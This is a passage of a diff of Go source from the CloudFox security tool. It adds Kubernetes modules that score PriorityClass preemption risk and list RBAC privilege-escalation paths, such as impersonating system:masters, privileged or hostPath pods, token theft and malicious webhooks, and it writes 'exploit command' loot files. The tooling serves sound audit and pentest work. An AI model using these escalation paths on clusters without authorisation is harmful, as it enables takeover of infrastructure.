shared.LogListError(&logger, "pods", "", err, globals.K8S_PRIORITYCLASSES_MODULE_NAME, false)
|
||||
allPodsList = []corev1.Pod{}
|
||||
}
|
||||
|
||||
// Build priority class usage map
|
||||
pcUsage := make(map[string][]corev1.Pod)
|
||||
defaultPriorityPods := []corev1.Pod{}
|
||||
|
||||
for _, pod := range allPodsList {
|
||||
if pod.Spec.PriorityClassName != "" {
|
||||
pcUsage[pod.Spec.PriorityClassName] = append(pcUsage[pod.Spec.PriorityClassName], pod)
|
||||
} else {
|
||||
defaultPriorityPods = append(defaultPriorityPods, pod)
|
||||
}
|
||||
}
|
||||
|
||||
headers := []string{
|
||||
"PriorityClass",
|
||||
"Priority Value",
|
||||
"Global Default",
|
||||
"Preemption Policy",
|
||||
"Pods Using It",
|
||||
"System Pods",
|
||||
"User Pods",
|
||||
"Issues",
|
||||
}
|
||||
|
||||
var outputRows [][]string
|
||||
var pcAnalyses []PriorityClassAnalysis
|
||||
|
||||
riskCounts := shared.NewRiskCounts()
|
||||
|
||||
var globalDefaultPC string
|
||||
|
||||
for _, pc := range priorityClassesList {
|
||||
analysis := PriorityClassAnalysis{
|
||||
Name: pc.Name,
|
||||
Value: pc.Value,
|
||||
GlobalDefault: pc.GlobalDefault,
|
||||
PreemptionPolicy: string(*pc.PreemptionPolicy),
|
||||
Description: pc.Description,
|
||||
IsSystemClass: isSystemPriorityClass(pc.Name, pc.Value),
|
||||
}
|
||||
|
||||
if pc.GlobalDefault {
|
||||
globalDefaultPC = pc.Name
|
||||
}
|
||||
|
||||
// Analyze pods using this priority class
|
||||
pods := pcUsage[pc.Name]
|
||||
analysis.PodsUsingClass = len(pods)
|
||||
|
||||
for _, pod := range pods {
|
||||
if isSystemPod(pod.Namespace, pod.Name) {
|
||||
analysis.SystemPodsUsingIt++
|
||||
} else {
|
||||
analysis.UserPodsUsingIt++
|
||||
}
|
||||
|
||||
if !containsString(analysis.NamespacesUsingIt, pod.Namespace) {
|
||||
analysis.NamespacesUsingIt = append(analysis.NamespacesUsingIt, pod.Namespace)
|
||||
}
|
||||
}
|
||||
|
||||
// Security analysis
|
||||
analysis.SecurityIssues = analyzePriorityClassSecurity(&analysis, pods)
|
||||
analysis.RiskLevel, analysis.RiskScore = calculatePriorityClassRisk(&analysis)
|
||||
|
||||
riskCounts.Add(analysis.RiskLevel)
|
||||
pcAnalyses = append(pcAnalyses, analysis)
|
||||
|
||||
outputRows = append(outputRows, []string{
|
||||
pc.Name,
|
||||
fmt.Sprintf("%d", pc.Value),
|
||||
fmt.Sprintf("%v", pc.GlobalDefault),
|
||||
analysis.PreemptionPolicy,
|
||||
fmt.Sprintf("%d", analysis.PodsUsingClass),
|
||||
fmt.Sprintf("%d", analysis.SystemPodsUsingIt),
|
||||
fmt.Sprintf("%d", analysis.UserPodsUsingIt),
|
||||
fmt.Sprintf("%d", len(analysis.SecurityIssues)),
|
||||
})
|
||||
|
||||
// Loot generation
|
||||
loot.Section("PriorityClass-Enum").Add(fmt.Sprintf("\n# [%s] PriorityClass: %s", analysis.RiskLevel, pc.Name))
|
||||
loot.Section("PriorityClass-Enum").Add(fmt.Sprintf("# Value: %d | Global Default: %v | Pods: %d", pc.Value, pc.GlobalDefault, analysis.PodsUsingClass))
|
||||
loot.Section("PriorityClass-Enum").Add(fmt.Sprintf("kubectl get priorityclass %s -o yaml", pc.Name))
|
||||
loot.Section("PriorityClass-Enum").Add("")
|
||||
|
||||
// Loot: Priority abuse
|
||||
if analysis.UserPodsUsingIt > 0 && analysis.IsSystemClass {
|
||||
loot.Section("Priority-Abuse").Add(fmt.Sprintf("\n### [CRITICAL] %s - User pods with system priority", pc.Name))
|
||||
loot.Section("Priority-Abuse").Add(fmt.Sprintf("# Priority Value: %d (System-level)", pc.Value))
|
||||
loot.Section("Priority-Abuse").Add(fmt.Sprintf("# User Pods: %d | Namespaces: %s", analysis.UserPodsUsingIt, strings.Join(analysis.NamespacesUsingIt, ", ")))
|
||||
loot.Section("Priority-Abuse").Add("# These pods can preempt system components!")
|
||||
loot.Section("Priority-Abuse").Add(fmt.Sprintf("kubectl get pods --all-namespaces --field-selector spec.priorityClassName=%s", pc.Name))
|
||||
loot.Section("Priority-Abuse").Add("")
|
||||
}
|
||||
|
||||
// Loot: Privilege escalation
|
||||
for _, pod := range pods {
|
||||
if isPodPrivilegedPC(&pod) && !isSystemPod(pod.Namespace, pod.Name) {
|
||||
loot.Section("Privilege-Escalation").Add(fmt.Sprintf("\n### [CRITICAL] %s/%s", pod.Namespace, pod.Name))
|
||||
loot.Section("Privilege-Escalation").Add(fmt.Sprintf("# PriorityClass: %s (Value: %d)", pc.Name, pc.Value))
|
||||
loot.Section("Privilege-Escalation").Add(fmt.Sprintf("# Privileged: %v | HostNetwork: %v", isPodPrivilegedPC(&pod), pod.Spec.HostNetwork))
|
||||
loot.Section("Privilege-Escalation").Add("# Can preempt other workloads + has elevated host access")
|
||||
loot.Section("Privilege-Escalation").Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Analyze pods without explicit priority class (using default)
|
||||
if len(defaultPriorityPods) > 0 {
|
||||
loot.Section("Default-PriorityClass").Add(fmt.Sprintf("\n# Global Default PriorityClass: %s", globalDefaultPC))
|
||||
if globalDefaultPC == "" {
|
||||
loot.Section("Default-PriorityClass").Add("# WARNING: No global default - pods get priority 0")
|
||||
}
|
||||
loot.Section("Default-PriorityClass").Add(fmt.Sprintf("# Pods without explicit priority: %d", len(defaultPriorityPods)))
|
||||
|
||||
systemCount := 0
|
||||
userCount := 0
|
||||
for _, pod := range defaultPriorityPods {
|
||||
if isSystemPod(pod.Namespace, pod.Name) {
|
||||
systemCount++
|
||||
} else {
|
||||
userCount++
|
||||
}
|
||||
}
|
||||
loot.Section("Default-PriorityClass").Add(fmt.Sprintf("# System pods: %d | User pods: %d", systemCount, userCount))
|
||||
loot.Section("Default-PriorityClass").Add("")
|
||||
}
|
||||
|
||||
// Detailed pod priority analysis
|
||||
podHeaders := []string{
|
||||
"Namespace",
|
||||
"Pod",
|
||||
"Priority Class",
|
||||
"Priority Value",
|
||||
"Privileged",
|
||||
"HostNetwork",
|
||||
"Can Preempt",
|
||||
"Issues",
|
||||
}
|
||||
|
||||
var podRows [][]string
|
||||
var podAnalyses []PodPriorityAnalysis
|
||||
|
||||
for _, pod := range allPodsList {
|
||||
if pod.Status.Phase != corev1.PodRunning && pod.Status.Phase != corev1.PodPending {
|
||||
continue
|
||||
}
|
||||
|
||||
podAnalysis := PodPriorityAnalysis{
|
||||
Namespace: pod.Namespace,
|
||||
PodName: pod.Name,
|
||||
PriorityClass: pod.Spec.PriorityClassName,
|
||||
IsSystemPod: isSystemPod(pod.Namespace, pod.Name),
|
||||
IsPrivileged: isPodPrivilegedPC(&pod),
|
||||
HostNetwork: pod.Spec.HostNetwork,
|
||||
}
|
||||
|
||||
if pod.Spec.Priority != nil {
|
||||
podAnalysis.PriorityValue = *pod.Spec.Priority
|
||||
}
|
||||
|
||||
if pod.Spec.PreemptionPolicy != nil {
|
||||
podAnalysis.PreemptionPolicy = string(*pod.Spec.PreemptionPolicy)
|
||||
}
|
||||
|
||||
// Can this pod preempt others?
|
||||
if podAnalysis.PriorityValue > 0 && podAnalysis.PreemptionPolicy != "Never" {
|
||||
podAnalysis.CanPreempt = true
|
||||
}
|
||||
|
||||
// Is this pod vulnerable to preemption?
|
||||
if podAnalysis.PriorityValue < HighPriorityThreshold {
|
||||
podAnalysis.VulnerableToPreempt = true
|
||||
}
|
||||
|
||||
// Security analysis
|
||||
podAnalysis.SecurityIssues = analyzePodPrioritySecurity(&podAnalysis)
|
||||
podAnalysis.RiskLevel, podAnalysis.RiskScore = calculatePodPriorityRisk(&podAnalysis)
|
||||
|
||||
if podAnalysis.RiskLevel == shared.RiskCritical || podAnalysis.RiskLevel == shared.RiskHigh || len(podAnalysis.SecurityIssues) > 0 {
|
||||
podAnalyses = append(podAnalyses, podAnalysis)
|
||||
|
||||
podRows = append(podRows, []string{
|
||||
pod.Namespace,
|
||||
pod.Name,
|
||||
podAnalysis.PriorityClass,
|
||||
fmt.Sprintf("%d", podAnalysis.PriorityValue),
|
||||
fmt.Sprintf("%v", podAnalysis.IsPrivileged),
|
||||
fmt.Sprintf("%v", podAnalysis.HostNetwork),
|
||||
fmt.Sprintf("%v", podAnalysis.CanPreempt),
|
||||
fmt.Sprintf("%d", len(podAnalysis.SecurityIssues)),
|
||||
})
|
||||
|
||||
// Loot: Preemption risks
|
||||
if podAnalysis.VulnerableToPreempt && !podAnalysis.IsSystemPod {
|
||||
loot.Section("Preemption-Risks").Add(fmt.Sprintf("\n### [%s] %s/%s", podAnalysis.RiskLevel, pod.Namespace, pod.Name))
|
||||
loot.Section("Preemption-Risks").Add(fmt.Sprintf("# Priority: %d (< %d threshold)", podAnalysis.PriorityValue, HighPriorityThreshold))
|
||||
loot.Section("Preemption-Risks").Add("# Risk: Can be preempted by higher-priority pods")
|
||||
loot.Section("Preemption-Risks").Add("# Impact: Service disruption, downtime")
|
||||
loot.Section("Preemption-Risks").Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Sort pod rows by risk score descending
|
||||
sort.SliceStable(podRows, func(i, j int) bool {
|
||||
return podRows[i][1] > podRows[j][1]
|
||||
})
|
||||
|
||||
// Remediation guidance
|
||||
if riskCounts.Critical > 0 || riskCounts.High > 0 {
|
||||
loot.Section("Remediation-Guide").Add("## Critical Issues")
|
||||
loot.Section("Remediation-Guide").Add("")
|
||||
|
||||
for _, analysis := range pcAnalyses {
|
||||
if analysis.RiskLevel == shared.RiskCritical && len(analysis.SecurityIssues) > 0 {
|
||||
loot.Section("Remediation-Guide").Add(fmt.Sprintf("### PriorityClass: %s", analysis.Name))
|
||||
for _, issue := range analysis.SecurityIssues {
|
||||
loot.Section("Remediation-Guide").Add(fmt.Sprintf("# Issue: %s", issue))
|
||||
}
|
||||
|
||||
if analysis.UserPodsUsingIt > 0 && analysis.IsSystemClass {
|
||||
loot.Section("Remediation-Guide").Add("# Remediation:")
|
||||
loot.Section("Remediation-Guide").Add("# 1. Identify user pods using system priority:")
|
||||
loot.Section("Remediation-Guide").Add(fmt.Sprintf("# kubectl get pods --all-namespaces --field-selector spec.priorityClassName=%s", analysis.Name))
|
||||
loot.Section("Remediation-Guide").Add("# 2. Create appropriate user-level PriorityClass (value < 1000000)")
|
||||
loot.Section("Remediation-Guide").Add("# 3. Update pod specs to use user-level priority")
|
||||
loot.Section("Remediation-Guide").Add("# 4. Consider PodSecurity admission to block system priorities")
|
||||
}
|
||||
loot.Section("Remediation-Guide").Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add summary
|
||||
if riskCounts.Critical > 0 || riskCounts.High > 0 {
|
||||
summary := fmt.Sprintf(`
|
||||
# SUMMARY: Risk Distribution
|
||||
# CRITICAL: %d priority classes with critical risks
|
||||
# HIGH: %d priority classes with high risks
|
||||
# MEDIUM: %d priority classes with medium risks
|
||||
# LOW: %d priority classes with low/acceptable config
|
||||
#
|
||||
# Total pods analyzed: %d
|
||||
# Pods at risk of preemption: %d
|
||||
#
|
||||
# Focus on CRITICAL and HIGH risk priority classes for immediate remediation.
|
||||
`, riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low, len(allPodsList), len(podAnalyses))
|
||||
loot.Section("Priority-Abuse").SetSummary(summary)
|
||||
}
|
||||
|
||||
table1 := internal.TableFile{
|
||||
Name: "PriorityClasses",
|
||||
Header: headers,
|
||||
Body: outputRows,
|
||||
}
|
||||
|
||||
table2 := internal.TableFile{
|
||||
Name: "Pod-Priorities",
|
||||
Header: podHeaders,
|
||||
Body: podRows,
|
||||
}
|
||||
|
||||
lootFiles := loot.Build()
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"PriorityClasses",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
PriorityClassesOutput{
|
||||
Table: []internal.TableFile{table1, table2},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_PRIORITYCLASSES_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(outputRows) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("%d priority classes found | Risk: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
len(outputRows),
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low),
|
||||
globals.K8S_PRIORITYCLASSES_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No priority classes found", globals.K8S_PRIORITYCLASSES_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_PRIORITYCLASSES_MODULE_NAME), globals.K8S_PRIORITYCLASSES_MODULE_NAME)
|
||||
}
|
||||
|
||||
// ====================
|
||||
// Helper Functions
|
||||
// ====================
|
||||
|
||||
func isSystemPriorityClass(name string, value int32) bool {
|
||||
// System priority classes
|
||||
systemClasses := map[string]bool{
|
||||
"system-cluster-critical": true,
|
||||
"system-node-critical": true,
|
||||
}
|
||||
|
||||
if systemClasses[name] {
|
||||
return true
|
||||
}
|
||||
|
||||
// System priority range (2 billion+)
|
||||
if value >= SystemCriticalPriority {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func isSystemPod(namespace, name string) bool {
|
||||
systemNamespaces := []string{
|
||||
"kube-system",
|
||||
"kube-public",
|
||||
"kube-node-lease",
|
||||
}
|
||||
|
||||
for _, ns := range systemNamespaces {
|
||||
if namespace == ns {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return strings.HasPrefix(namespace, "kube-")
|
||||
}
|
||||
|
||||
func isPodPrivilegedPC(pod *corev1.Pod) bool {
|
||||
// Check containers
|
||||
for _, container := range pod.Spec.Containers {
|
||||
if container.SecurityContext != nil &&
|
||||
container.SecurityContext.Privileged != nil &&
|
||||
*container.SecurityContext.Privileged {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Check init containers
|
||||
for _, container := range pod.Spec.InitContainers {
|
||||
if container.SecurityContext != nil &&
|
||||
container.SecurityContext.Privileged != nil &&
|
||||
*container.SecurityContext.Privileged {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func analyzePriorityClassSecurity(analysis *PriorityClassAnalysis, pods []corev1.Pod) []string {
|
||||
var issues []string
|
||||
|
||||
// Critical: User pods with system-level priority
|
||||
if analysis.UserPodsUsingIt > 0 && analysis.IsSystemClass {
|
||||
issues = append(issues, fmt.Sprintf("CRITICAL: %d user pods using system-level priority (can preempt system components)", analysis.UserPodsUsingIt))
|
||||
}
|
||||
|
||||
// High: System priority class with high user pod count
|
||||
if analysis.IsSystemClass && analysis.UserPodsUsingIt > 5 {
|
||||
issues = append(issues, fmt.Sprintf("HIGH: Excessive user pods (%d) with system priority", analysis.UserPodsUsingIt))
|
||||
}
|
||||
|
||||
// Medium: Very high priority for user class
|
||||
if !analysis.IsSystemClass && analysis.Value > HighPriorityThreshold {
|
||||
issues = append(issues, fmt.Sprintf("MEDIUM: User priority class with suspiciously high value (%d)", analysis.Value))
|
||||
}
|
||||
|
||||
// Check for privileged pods with high priority
|
||||
privCount := 0
|
||||
for _, pod := range pods {
|
||||
if isPodPrivilegedPC(&pod) && !isSystemPod(pod.Namespace, pod.Name) {
|
||||
privCount++
|
||||
}
|
||||
}
|
||||
|
||||
if privCount > 0 && analysis.Value > HighPriorityThreshold {
|
||||
issues = append(issues, fmt.Sprintf("HIGH: %d privileged pods with high priority (privilege escalation risk)", privCount))
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func calculatePriorityClassRisk(analysis *PriorityClassAnalysis) (string, int) {
|
||||
score := 0
|
||||
|
||||
// User pods with system priority = critical
|
||||
if analysis.UserPodsUsingIt > 0 && analysis.IsSystemClass {
|
||||
score += 70
|
||||
}
|
||||
|
||||
// High user pod count with system priority
|
||||
if analysis.IsSystemClass && analysis.UserPodsUsingIt > 5 {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// Suspicious user priority value
|
||||
if !analysis.IsSystemClass && analysis.Value > HighPriorityThreshold {
|
||||
score += 30
|
||||
}
|
||||
|
||||
// Global default with high priority
|
||||
if analysis.GlobalDefault && analysis.Value > HighPriorityThreshold {
|
||||
score += 25
|
||||
}
|
||||
|
||||
// Determine risk level
|
||||
if score >= 70 {
|
||||
return shared.RiskCritical, pcMin(score, 100)
|
||||
} else if score >= 40 {
|
||||
return shared.RiskHigh, score
|
||||
} else if score >= 20 {
|
||||
return shared.RiskMedium, score
|
||||
}
|
||||
return shared.RiskLow, score
|
||||
}
|
||||
|
||||
func analyzePodPrioritySecurity(analysis *PodPriorityAnalysis) []string {
|
||||
var issues []string
|
||||
|
||||
// Critical: Non-system pod with system priority
|
||||
if !analysis.IsSystemPod && analysis.PriorityValue >= SystemCriticalPriority {
|
||||
issues = append(issues, "CRITICAL: User pod with system-level priority")
|
||||
}
|
||||
|
||||
// High: Privileged pod with high priority
|
||||
if analysis.IsPrivileged && analysis.PriorityValue > HighPriorityThreshold && !analysis.IsSystemPod {
|
||||
issues = append(issues, "HIGH: Privileged pod with high priority (can disrupt cluster)")
|
||||
}
|
||||
|
||||
// High: HostNetwork + high priority
|
||||
if analysis.HostNetwork && analysis.PriorityValue > HighPriorityThreshold && !analysis.IsSystemPod {
|
||||
issues = append(issues, "HIGH: HostNetwork pod with high priority")
|
||||
}
|
||||
|
||||
// Medium: Can preempt others
|
||||
if analysis.CanPreempt && analysis.PriorityValue > HighPriorityThreshold {
|
||||
issues = append(issues, "MEDIUM: Can preempt lower-priority workloads")
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func calculatePodPriorityRisk(analysis *PodPriorityAnalysis) (string, int) {
|
||||
score := 0
|
||||
|
||||
// User pod with system priority
|
||||
if !analysis.IsSystemPod && analysis.PriorityValue >= SystemCriticalPriority {
|
||||
score += 80
|
||||
}
|
||||
|
||||
// Privileged + high priority
|
||||
if analysis.IsPrivileged && analysis.PriorityValue > HighPriorityThreshold && !analysis.IsSystemPod {
|
||||
score += 40
|
||||
}
|
||||
|
||||
// HostNetwork + high priority
|
||||
if analysis.HostNetwork && analysis.PriorityValue > HighPriorityThreshold {
|
||||
score += 30
|
||||
}
|
||||
|
||||
// Can preempt
|
||||
if analysis.CanPreempt && analysis.PriorityValue > HighPriorityThreshold {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// Determine risk level
|
||||
if score >= 70 {
|
||||
return shared.RiskCritical, pcMin(score, 100)
|
||||
} else if score >= 40 {
|
||||
return shared.RiskHigh, score
|
||||
} else if score >= 20 {
|
||||
return shared.RiskMedium, score
|
||||
}
|
||||
return shared.RiskLow, score
|
||||
}
|
||||
|
||||
func containsString(slice []string, item string) bool {
|
||||
for _, s := range slice {
|
||||
if s == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func pcMin(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -0,0 +1,758 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
attackpathservice "github.com/BishopFox/cloudfox/kubernetes/services/attackpathService"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var PrivescCmd = &cobra.Command{
|
||||
Use: "privesc",
|
||||
Aliases: []string{"pe", "escalate", "priv"},
|
||||
Short: "Identify privilege escalation paths in Kubernetes RBAC",
|
||||
Long: `Analyze Kubernetes RBAC to identify privilege escalation opportunities.
|
||||
|
||||
This module examines ClusterRoleBindings and RoleBindings to find principals
|
||||
with dangerous permissions that could be used to escalate privileges.
|
||||
|
||||
Detected privilege escalation methods (30+) include:
|
||||
|
||||
RBAC Escalation:
|
||||
- Cluster-admin equivalent (wildcard verbs/resources)
|
||||
- ClusterRoleBinding/RoleBinding creation
|
||||
- Bind/Escalate verbs (bypass RBAC restrictions)
|
||||
- Role/ClusterRole modification
|
||||
|
||||
Impersonation:
|
||||
- User impersonation (including system:admin)
|
||||
- Group impersonation (including system:masters)
|
||||
- ServiceAccount impersonation
|
||||
|
||||
Pod-Based Escalation:
|
||||
- Create pods with privileged security context
|
||||
- Create pods with hostPath, hostPID, hostNetwork
|
||||
- Exec into existing pods
|
||||
- Create workloads (Deployments, DaemonSets, Jobs) with elevated SAs
|
||||
|
||||
Token/Credential Theft:
|
||||
- ServiceAccount token generation
|
||||
- Secret access (SA tokens, TLS certs)
|
||||
|
||||
Node Access:
|
||||
- Node creation/modification
|
||||
- Kubelet API proxy access
|
||||
|
||||
Webhook Abuse:
|
||||
- Mutating webhook creation (inject malicious content)
|
||||
- Validating webhook creation (intercept/block requests)
|
||||
|
||||
Usage:
|
||||
cloudfox kubernetes privesc`,
|
||||
Run: runPrivescCommand,
|
||||
}
|
||||
|
||||
type PrivescOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o PrivescOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o PrivescOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
type PrivescModule struct {
|
||||
// All paths from combined analysis
|
||||
AllPaths []attackpathservice.AttackPath
|
||||
ClusterPaths []attackpathservice.AttackPath
|
||||
NamespacePaths map[string][]attackpathservice.AttackPath
|
||||
Namespaces []string
|
||||
|
||||
// Loot
|
||||
LootContent string
|
||||
}
|
||||
|
||||
func runPrivescCommand(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
// Validate authentication first
|
||||
if err := sdk.ValidateAuth(ctx); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Authentication failed:\n%v", err), globals.K8S_PRIVESC_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analyzing privilege escalation paths for %s", globals.ClusterName), globals.K8S_PRIVESC_MODULE_NAME)
|
||||
|
||||
// Initialize attack path service
|
||||
svc, err := attackpathservice.New()
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to initialize attack path service: %v", err), globals.K8S_PRIVESC_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
svc.SetModuleName(globals.K8S_PRIVESC_MODULE_NAME)
|
||||
|
||||
// Run analysis
|
||||
result, err := svc.CombinedAnalysis(ctx, "privesc")
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to analyze privilege escalation: %v", err), globals.K8S_PRIVESC_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
module := &PrivescModule{
|
||||
AllPaths: result.AllPaths,
|
||||
ClusterPaths: result.ClusterPaths,
|
||||
NamespacePaths: result.NamespacePaths,
|
||||
Namespaces: result.Namespaces,
|
||||
}
|
||||
|
||||
if len(module.AllPaths) == 0 {
|
||||
logger.InfoM("No privilege escalation paths found", globals.K8S_PRIVESC_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count by scope and risk
|
||||
clusterCount := len(module.ClusterPaths)
|
||||
namespaceCount := len(module.AllPaths) - clusterCount
|
||||
riskCounts := countRiskLevels(module.AllPaths)
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d privilege escalation path(s): %d cluster-level, %d namespace-level",
|
||||
len(module.AllPaths), clusterCount, namespaceCount), globals.K8S_PRIVESC_MODULE_NAME)
|
||||
logger.InfoM(fmt.Sprintf("Risk Summary: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low), globals.K8S_PRIVESC_MODULE_NAME)
|
||||
|
||||
// Generate output
|
||||
tables := module.buildTables()
|
||||
loot := module.generateLoot()
|
||||
|
||||
output := PrivescOutput{
|
||||
Table: tables,
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"privesc",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.K8S_PRIVESC_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_PRIVESC_MODULE_NAME), globals.K8S_PRIVESC_MODULE_NAME)
|
||||
}
|
||||
|
||||
func (m *PrivescModule) buildTables() []internal.TableFile {
|
||||
headers := []string{
|
||||
"Risk Level",
|
||||
"Source",
|
||||
"Scope",
|
||||
"Principal",
|
||||
"Principal Type",
|
||||
"Method",
|
||||
"Target Resource",
|
||||
"Permissions",
|
||||
"Role",
|
||||
"Binding",
|
||||
"Description",
|
||||
}
|
||||
|
||||
var body [][]string
|
||||
|
||||
// Sort by risk level (CRITICAL first)
|
||||
sortedPaths := make([]attackpathservice.AttackPath, len(m.AllPaths))
|
||||
copy(sortedPaths, m.AllPaths)
|
||||
sort.Slice(sortedPaths, func(i, j int) bool {
|
||||
return shared.RiskLevelValue(sortedPaths[i].RiskLevel) > shared.RiskLevelValue(sortedPaths[j].RiskLevel)
|
||||
})
|
||||
|
||||
for _, path := range sortedPaths {
|
||||
scope := path.ScopeName
|
||||
if path.ScopeType == "cluster" {
|
||||
scope = "cluster-wide"
|
||||
}
|
||||
source := path.SourceType
|
||||
if source == "" {
|
||||
source = "core"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
path.RiskLevel,
|
||||
source,
|
||||
scope,
|
||||
path.Principal,
|
||||
path.PrincipalType,
|
||||
path.Method,
|
||||
path.TargetResource,
|
||||
strings.Join(path.Permissions, ", "),
|
||||
path.RoleName,
|
||||
path.BindingName,
|
||||
path.Description,
|
||||
})
|
||||
}
|
||||
|
||||
return []internal.TableFile{
|
||||
{
|
||||
Name: "Privesc",
|
||||
Header: headers,
|
||||
Body: body,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *PrivescModule) generateLoot() []internal.LootFile {
|
||||
var lootContent []string
|
||||
|
||||
lootContent = append(lootContent, "#####################################")
|
||||
lootContent = append(lootContent, "##### Kubernetes Privilege Escalation Commands")
|
||||
lootContent = append(lootContent, "##### Generated by CloudFox")
|
||||
lootContent = append(lootContent, "#####################################")
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
riskCounts := countRiskLevels(m.AllPaths)
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Risk Summary: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low))
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
// Group paths by risk level
|
||||
criticalPaths := filterByRisk(m.AllPaths, shared.RiskCritical)
|
||||
highPaths := filterByRisk(m.AllPaths, shared.RiskHigh)
|
||||
|
||||
// CRITICAL section
|
||||
if len(criticalPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### CRITICAL - Immediate privilege escalation paths")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range criticalPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] Principal: %s (%s)", path.RiskLevel, path.Principal, path.PrincipalType))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Method: %s", path.Method))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Scope: %s", path.ScopeName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Role: %s via %s", path.RoleName, path.BindingName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Description: %s", path.Description))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// HIGH section
|
||||
if len(highPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### HIGH - Significant privilege escalation paths")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range highPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] Principal: %s (%s)", path.RiskLevel, path.Principal, path.PrincipalType))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Method: %s", path.Method))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Scope: %s", path.ScopeName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Role: %s via %s", path.RoleName, path.BindingName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Description: %s", path.Description))
|
||||
